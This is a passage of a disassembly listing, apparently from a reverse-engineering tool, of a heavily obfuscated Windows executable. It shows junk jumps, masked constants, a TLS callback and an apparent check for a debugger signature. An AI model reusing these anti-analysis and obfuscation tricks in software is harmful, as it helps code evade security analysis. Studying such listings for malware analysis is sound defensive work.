		call	sub_429165
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
; START	OF FUNCTION CHUNK FOR sub_427143


loc_4261EE:				; CODE XREF: sub_427143+475Ej
		jz	loc_425BE9
		jmp	loc_42E7AB
; END OF FUNCTION CHUNK	FOR sub_427143
; ---------------------------------------------------------------------------


loc_4261F9:				; DATA XREF: sub_429AE8-4EC4o
		add	eax, 6F78DD96h
		mov	eax, [eax]
		push	eax
		push	edx
		push	5C60876Ah
		pop	edx
		or	edx, 0D3E51FA1h
		add	edx, 205CE1CAh
		jmp	loc_42AC67

; =============== S U B	R O U T	I N E =======================================



sub_42621A	proc near		; CODE XREF: wto1jq8f:0042B7FFj
					; wto1jq8f:0042BF26p

; FUNCTION CHUNK AT 0042C0AF SIZE 00000012 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	eax
		mov	eax, [ebp+8]
		jmp	loc_42C0AF
sub_42621A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4243D7


loc_426227:				; CODE XREF: sub_4243D7:loc_42A63Dj
		add	eax, 0A462A551h
		xchg	eax, [esp+8+var_8]
		add	[esp+8+var_8], 5B9D5EB9h
		call	sub_4295AA
		push	eax
		call	sub_42E833
		jmp	nullsub_42
; END OF FUNCTION CHUNK	FOR sub_4243D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_426247:				; CODE XREF: sub_429D2E+6198j
		jb	loc_428C7D


loc_42624D:				; CODE XREF: sub_429D2E:loc_428D27j
		push	edi
		push	0FDB07888h
		pop	edi
		rol	edi, 3
		jmp	loc_42F36A
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0DF


loc_42625C:				; CODE XREF: sub_42C0DF:loc_42FF8Bj
		push	offset loc_42B7B8
		jmp	nullsub_195
; END OF FUNCTION CHUNK	FOR sub_42C0DF
; ---------------------------------------------------------------------------


loc_426266:				; CODE XREF: wto1jq8f:00424F64j
		div	dword ptr [ebp-8]
		mov	[ebp-0Ch], edx
		jmp	loc_42EE6E
; ---------------------------------------------------------------------------


loc_426271:				; CODE XREF: wto1jq8f:0042BFD5j
		rol	edx, 5
		add	edx, esp
		rol	edx, 5
		mov	[ebp-4], edx
		jmp	loc_424AF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_426281:				; CODE XREF: sub_42B276-242Ej
		jz	loc_4281AB
		jmp	loc_427101
; END OF FUNCTION CHUNK	FOR sub_42B276

; =============== S U B	R O U T	I N E =======================================



sub_42628C	proc near		; CODE XREF: wto1jq8f:0042D0AEj
					; sub_42459B:loc_42D403p

; FUNCTION CHUNK AT 00424714 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042B823 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042CCC8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CF73 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042D14A SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		shr	eax, 1
		cmp	eax, 66h
		jnz	loc_42CF73
		jmp	loc_42B823
sub_42628C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB63


loc_4262A6:				; CODE XREF: sub_42CB63:loc_426E89j
		call	sub_42CD35
; END OF FUNCTION CHUNK	FOR sub_42CB63
; START	OF FUNCTION CHUNK FOR sub_424BAC


loc_4262AB:				; CODE XREF: sub_424BAC+14j
		jmp	loc_4275E2
; END OF FUNCTION CHUNK	FOR sub_424BAC
; ---------------------------------------------------------------------------


loc_4262B0:				; CODE XREF: wto1jq8f:0042925Ej
		jg	loc_4284A6
		and	ecx, 0CD442F90h
		shr	eax, 1Ch
		xor	eax, ebx
		jmp	loc_42DE3B
; ---------------------------------------------------------------------------
		shl	esi, 12h
		jmp	loc_427A4D

; =============== S U B	R O U T	I N E =======================================



sub_4262CE	proc near		; CODE XREF: wto1jq8f:0042DD4Ap
					; wto1jq8f:0042F431j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424154 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424DEC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426BE5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00426CB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004279D2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042817E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429363 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042AE10 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042BA30 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042C9F7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042FDAE SIZE 00000013 BYTES

		mov	[esp+0], ebx
		pop	ebx
		mov	[esp-4+arg_0], eax
		mov	eax, [ebp-8]
		push	eax
		call	sub_42FB2F
		jmp	loc_42FDAE
sub_4262CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424585


loc_4262E3:				; CODE XREF: sub_424585:loc_428840j
		call	sub_42E6D9
		mov	eax, [ebp+var_4]
		push	offset sub_42E6D5
		jmp	loc_425A31
; END OF FUNCTION CHUNK	FOR sub_424585

; =============== S U B	R O U T	I N E =======================================



sub_4262F5	proc near		; CODE XREF: wto1jq8f:004264BAj
					; sub_42F2C7:loc_42B698p

arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 0042475C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004248DF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00425F41 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004273E5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004293BB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004298ED SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00429D23 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B11F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E9B8 SIZE 00000016 BYTES

		xchg	ebx, [esp-8+arg_4]
		pop	ebx
		push	4A032D73h
		pop	eax
		add	eax, 0B5FCD28Eh
		xor	edx, edx
		jmp	loc_4298ED
sub_4262F5	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FC85


loc_42630E:				; CODE XREF: sub_42FC85-67C3j
		jmp	nullsub_190
; END OF FUNCTION CHUNK	FOR sub_42FC85

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426313	proc near		; CODE XREF: sub_42DFE5j

; FUNCTION CHUNK AT 00424276 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004268BB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004271F6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00427660 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00428BDF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00429160 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004296DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042B096 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042DC52 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_427660
sub_426313	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 0CAAB96A5h
		call	sub_425B46
; START	OF FUNCTION CHUNK FOR sub_42FE77


loc_426328:				; CODE XREF: sub_42FE77-9964j
		jmp	loc_42ADBC
; END OF FUNCTION CHUNK	FOR sub_42FE77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4264F4


loc_42632D:				; CODE XREF: sub_4264F4:loc_42D3B4j
		rol	edx, 1Bh
		and	edx, 0A80E9ECCh
		call	sub_429281
; END OF FUNCTION CHUNK	FOR sub_4264F4
; START	OF FUNCTION CHUNK FOR sub_427A30


loc_42633B:				; CODE XREF: sub_427A30-42j
		jz	loc_42AF4C


loc_426341:				; CODE XREF: wto1jq8f:0042860Bj
		jmp	loc_4244C3
; END OF FUNCTION CHUNK	FOR sub_427A30
; ---------------------------------------------------------------------------
		ror	ecx, 1Dh
		jmp	loc_42AF40
; ---------------------------------------------------------------------------


loc_42634E:				; CODE XREF: wto1jq8f:0042B084j
		sbb	edx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_426350	proc near		; CODE XREF: sub_42A35F+Ap

; FUNCTION CHUNK AT 004278D6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427C8D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F95 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042E9D4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042FC72 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042FD7E SIZE 0000000E BYTES

		mov	[esp+0], ecx
		pop	ecx
		xor	eax, eax
		mov	[ebp-0Ch], eax
		jmp	loc_429F95
sub_426350	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42635E:				; CODE XREF: wto1jq8f:00426019j
		push	offset loc_424988
		jmp	loc_425B1F
; ---------------------------------------------------------------------------


loc_426368:				; CODE XREF: wto1jq8f:0042AA7Aj
		test	esi, ebx
		jmp	loc_42B5F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A617


loc_42636F:				; CODE XREF: sub_42A617+Ej
		mov	eax, [ebp+8]
		push	eax
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jmp	loc_426119
; END OF FUNCTION CHUNK	FOR sub_42A617
; ---------------------------------------------------------------------------

locret_426382:				; CODE XREF: wto1jq8f:0042D46Ej
		retn
; ---------------------------------------------------------------------------


loc_426383:				; CODE XREF: wto1jq8f:0042D2D8j
		jmp	loc_42AB67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DDE6


loc_426388:				; CODE XREF: sub_42DDE6-28A8j
		jmp	sub_4243D7
; END OF FUNCTION CHUNK	FOR sub_42DDE6
; ---------------------------------------------------------------------------


loc_42638D:				; CODE XREF: wto1jq8f:00428959j
		jmp	loc_42802E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F23


loc_426392:				; CODE XREF: sub_424F23+9j
		add	edx, ebx
		rol	edx, 5
		xor	edx, ecx
		rol	edx, 5
		push	offset loc_427E3A
		jmp	loc_4269E5
; END OF FUNCTION CHUNK	FOR sub_424F23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_4263A6:				; CODE XREF: sub_42AECE:loc_424417j
					; DATA XREF: wto1jq8f:00424378o
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_42AECE
; START	OF FUNCTION CHUNK FOR sub_426535


loc_4263A7:				; CODE XREF: sub_426535:loc_425043j
		call	sub_426D4F


loc_4263AC:				; CODE XREF: wto1jq8f:00424894j
		mov	edi, eax
		jmp	loc_42A43D
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263B3	proc near		; CODE XREF: sub_429B76:loc_427246p
					; sub_424F7A:loc_42D3E8j

; FUNCTION CHUNK AT 004246B4 SIZE 00000010 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF90h
		push	ebx
		push	3E6B4EA4h
		pop	ebx
		or	ebx, 104BFFC1h
		jmp	loc_4246B4
sub_4263B3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427674


loc_4263CB:				; CODE XREF: sub_427674+12j
		mov	esp, ebp
		mov	ebp, offset nullsub_192
		xchg	ebp, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_427674
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_192. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4263D7	proc near		; CODE XREF: wto1jq8f:00427D32j
					; wto1jq8f:loc_42F3B6p
		mov	[esp+0], ecx
		pop	ecx
		mov	ds:dword_42CAEC, eax
		retn
sub_4263D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4263E2:				; CODE XREF: wto1jq8f:00428F0Cj
		jmp	locret_42B20F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426950


loc_4263E7:				; CODE XREF: sub_426950:loc_4248CDj
					; sub_42A88D+Ej
		ror	eax, 0Bh
		push	eax
		jmp	loc_42597B
; END OF FUNCTION CHUNK	FOR sub_426950
; ---------------------------------------------------------------------------
		push	0
		push	80h
		push	0CB0E4E5Ah
		xor	dword ptr [esp], 0CB0E4E59h
		push	ecx
		pushf
		push	2FA80D1Dh
		pop	ecx
		jmp	loc_429E83
; ---------------------------------------------------------------------------

locret_426410:				; CODE XREF: wto1jq8f:0042DB76j
		retn
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_42E4EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0D7


loc_426417:				; CODE XREF: sub_42C0D7-1BFDj
		jz	sub_42FF03
		jmp	loc_42F665
; END OF FUNCTION CHUNK	FOR sub_42C0D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D789


loc_426422:				; CODE XREF: sub_42D789-5F9Aj
		pushf
		jns	loc_42ADBC
		sub	esi, edi
		push	edi
		jmp	loc_42A34B
; END OF FUNCTION CHUNK	FOR sub_42D789
; ---------------------------------------------------------------------------

locret_426431:				; CODE XREF: wto1jq8f:00429C80j
		retn
; ---------------------------------------------------------------------------


loc_426432:				; CODE XREF: wto1jq8f:0042847Fj
		jmp	loc_42F396

; =============== S U B	R O U T	I N E =======================================



sub_426437	proc near		; CODE XREF: sub_42CF00+4p
		call	sub_425C40


loc_42643C:				; CODE XREF: sub_42D789-342Fj
		jmp	loc_4287C2
sub_426437	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_426442:				; CODE XREF: wto1jq8f:0042AC90j
		jmp	loc_42E1E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AAC3


loc_426447:				; CODE XREF: sub_42AAC3-4CDFj
		ror	eax, 0Eh
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42AAC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42644C:				; CODE XREF: sub_426C0C+7EDCj
		jmp	loc_42F0C4
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C4E2


loc_426451:				; CODE XREF: sub_42C4E2-2136j
		jmp	loc_429417
; END OF FUNCTION CHUNK	FOR sub_42C4E2

; =============== S U B	R O U T	I N E =======================================



sub_426456	proc near		; CODE XREF: sub_4240DC+1BFCp

; FUNCTION CHUNK AT 00426ACF SIZE 00000005 BYTES

		push	ebp
		push	offset loc_424D40
		jmp	loc_426ACF
sub_426456	endp


; =============== S U B	R O U T	I N E =======================================



sub_426461	proc near		; CODE XREF: sub_425E35:loc_429C4Ap
					; wto1jq8f:0042F3D6j

; FUNCTION CHUNK AT 0042E98E SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		jz	loc_42F9B4
		call	sub_42B5E4
		jnz	loc_42F9B4
		mov	eax, ebx
		jmp	loc_42E98E
sub_426461	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E35


loc_42647D:				; CODE XREF: sub_425E35:loc_42E0A8j
		mov	ecx, [ebx+3Ch]
		jmp	loc_42F46F
; END OF FUNCTION CHUNK	FOR sub_425E35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DB52


loc_426485:				; CODE XREF: sub_42DB52-31A6j
		jns	loc_42C48A
		pushf
		xor	edi, 9696EDEh


loc_426492:				; CODE XREF: sub_42DB52:loc_427F0Fj
		push	offset sub_42506F
		jmp	nullsub_97
; END OF FUNCTION CHUNK	FOR sub_42DB52

; =============== S U B	R O U T	I N E =======================================



sub_42649C	proc near		; DATA XREF: sub_426968+A24o
		mov	[ebp-0Ch], eax
		shl	dword ptr [ebp-8], 8
sub_42649C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_426968


loc_4264A3:				; CODE XREF: sub_42BB8A:loc_427723j
					; sub_426968+4C51j
		jns	loc_428C1B
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		jmp	loc_42B7DC
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
		add	ebx, 610D472Dh
		jmp	sub_4262F5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42660F


loc_4264C0:				; CODE XREF: sub_42660F:loc_425EE9j
		mov	ebp, esp
		call	sub_42E337

locret_4264C7:				; CODE XREF: wto1jq8f:0042DDC7j
		retn
; END OF FUNCTION CHUNK	FOR sub_42660F
; ---------------------------------------------------------------------------


loc_4264C8:				; CODE XREF: wto1jq8f:0042B07Cj
		jmp	loc_42A658
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_4264CE:				; CODE XREF: sub_426968+7655j
		shl	eax, 0Ah
		add	[ebp-8], eax
		push	offset sub_42BB8A
		jmp	nullsub_185
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------


loc_4264DE:				; CODE XREF: wto1jq8f:00424F98j
		sbb	ebp, ecx
		xor	esi, ebp
		adc	edi, esi


loc_4264E4:				; CODE XREF: wto1jq8f:loc_4245E9j
		call	sub_4264F4
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_4264EA:				; CODE XREF: sub_426968+62B7j
		jmp	sub_42D765
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C9F


loc_4264EF:				; CODE XREF: sub_426C9F+Fj
		jmp	nullsub_244
; END OF FUNCTION CHUNK	FOR sub_426C9F

; =============== S U B	R O U T	I N E =======================================



sub_4264F4	proc near		; CODE XREF: sub_42A909-68C9j
					; wto1jq8f:loc_4264E4p

; FUNCTION CHUNK AT 0042632D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D3B4 SIZE 00000005 BYTES

		push	edx
		push	0B8BDB086h
		pop	edx
		jmp	loc_42D3B4
sub_4264F4	endp

; ---------------------------------------------------------------------------


loc_426500:				; CODE XREF: wto1jq8f:0042B204j
					; DATA XREF: TlsCallback_0+2C60o
		xchg	eax, [esp]
		jmp	nullsub_246
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FE77


loc_426508:				; CODE XREF: sub_42FE77:loc_427A2Bj
		add	edx, 3D9A6F48h
		mov	al, [edx]
		pop	edx


loc_426511:				; CODE XREF: wto1jq8f:loc_42761Ej
		mov	esp, ebp
		jmp	loc_426328
; END OF FUNCTION CHUNK	FOR sub_42FE77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424406


loc_426518:				; CODE XREF: sub_424406+AA38j
		pushf
		jmp	loc_42D1BE
; END OF FUNCTION CHUNK	FOR sub_424406
; ---------------------------------------------------------------------------


loc_42651E:				; CODE XREF: wto1jq8f:00424E03j
		not	ecx
		pushf
		adc	ecx, 0F0A4BA28h
; START	OF FUNCTION CHUNK FOR sub_42A0E5


loc_426527:				; CODE XREF: sub_42A0E5:loc_424DF7j
		add	ebx, 8082DF7Ah
		xchg	ebx, [esp+0]
		jmp	loc_42CAFC
; END OF FUNCTION CHUNK	FOR sub_42A0E5

; =============== S U B	R O U T	I N E =======================================



sub_426535	proc near		; CODE XREF: sub_42DEFF-349Dp
					; wto1jq8f:0042BC56j

var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 00424051 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042416B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424201 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042432A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042492E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00424CBF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00425043 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00425A8C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004263A7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004265DB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042677D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426895 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004268F1 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00426FF5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042710C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042728A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004277FA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427ABC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00427EA1 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00427F39 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427FE9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004280A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282B5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004283AE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00428651 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00428D94 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00429337 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429570 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429603 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429A4A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429B06 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00429E0D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429E55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F3E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A167 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042A1BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A43D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042A5A8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A9B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042ACA7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B4E8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042BD93 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0042C16D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042C66B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D260 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042D3BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D473 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D5E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DC1B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042DC4D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E518 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EE43 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042F2F9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F49C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042F553 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F6EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F925 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042FB48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FD52 SIZE 00000005 BYTES

		xchg	eax, [esp+14h+var_14]
		pop	eax
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_4265DB


loc_426545:				; CODE XREF: sub_42DEFF:loc_42B03Dj
					; sub_42DEFF-17B7j ...
		js	loc_4283BD
		cmp	dword ptr [ebp-4], 3
		jnz	loc_42C172
		jmp	loc_42F2F9
sub_426535	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42655A	proc near		; DATA XREF: sub_42873E+Do

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00427792 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429A3C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00429EAB SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0042AE2C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042C26D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042D160 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DBD2 SIZE 00000005 BYTES

		mov	byte ptr [ebp-1], 0
		mov	eax, cs
		xor	al, al
		or	eax, eax
		jnz	loc_42AE2C
		jmp	loc_42D160
sub_42655A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_42E061
		mov	eax, [ebp-0Ch]
		push	eax
		push	ecx
		push	7AD8E3DFh
		jmp	loc_42A7BF
; ---------------------------------------------------------------------------


loc_426588:				; CODE XREF: wto1jq8f:00428780j
		xchg	edx, esi

; =============== S U B	R O U T	I N E =======================================



sub_42658A	proc near		; CODE XREF: sub_4266B1+890Fp

; FUNCTION CHUNK AT 004250CA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00425A36 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429DC5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042B772 SIZE 00000016 BYTES

		mov	[esp+0], ebx
		pop	ebx
		push	0
		push	10h
		push	8B297A09h
		pop	eax
		jmp	loc_429DC5
sub_42658A	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42659E:				; CODE XREF: wto1jq8f:0042EF64j
		jmp	loc_42991A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_4265A4:				; CODE XREF: sub_42B02D+27EAj
		jmp	loc_429B66
; END OF FUNCTION CHUNK	FOR sub_42B02D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_4265A9:				; CODE XREF: sub_42EFB5-2C1Dj
		jmp	loc_42D692
; END OF FUNCTION CHUNK	FOR sub_42EFB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FBC7


loc_4265AE:				; CODE XREF: sub_42FBC7-3A83j
		jle	loc_42941B
		and	ebx, 749EE4B2h


loc_4265BA:				; CODE XREF: sub_42FBC7:loc_426E25j
		push	edi
		mov	[esp+4+var_4], edx
		push	9CE37B19h
		pop	edx
		add	edx, 91184412h
		jmp	loc_42678D
; END OF FUNCTION CHUNK	FOR sub_42FBC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_4265CF:				; CODE XREF: sub_42E9E8:loc_42EB99j
		call	sub_424907
		mov	edi, ebx
		jmp	loc_428E80
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_4265DB:				; CODE XREF: sub_426535-14D1j
					; sub_426535+Aj ...
		jno	loc_425A8C
		push	0
		push	0
		push	61CC94BDh
		xor	dword ptr [esp+0], 61CC94ADh
		mov	eax, [ebp+8]
		push	eax
		jmp	sub_429318
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------


loc_4265FA:				; CODE XREF: wto1jq8f:0042D8A4j
		jb	loc_42E1EF
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_426601	proc near		; CODE XREF: wto1jq8f:0042BDF6p
		mov	[esp+0], edi
sub_426601	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_426604:				; CODE XREF: TlsCallback_0+1B92j
		pop	edi
		xchg	ebp, [esp-4+arg_0]
		retn
; END OF FUNCTION CHUNK	FOR TlsCallback_0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_247. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42660A:				; CODE XREF: wto1jq8f:0042F428j
		jmp	loc_42C8A6

; =============== S U B	R O U T	I N E =======================================



sub_42660F	proc near		; CODE XREF: sub_429E5B:loc_424F18p
					; sub_42F987-52DBj ...

; FUNCTION CHUNK AT 00425EE9 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004264C0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042D5E9 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_42D5E9
sub_42660F	endp

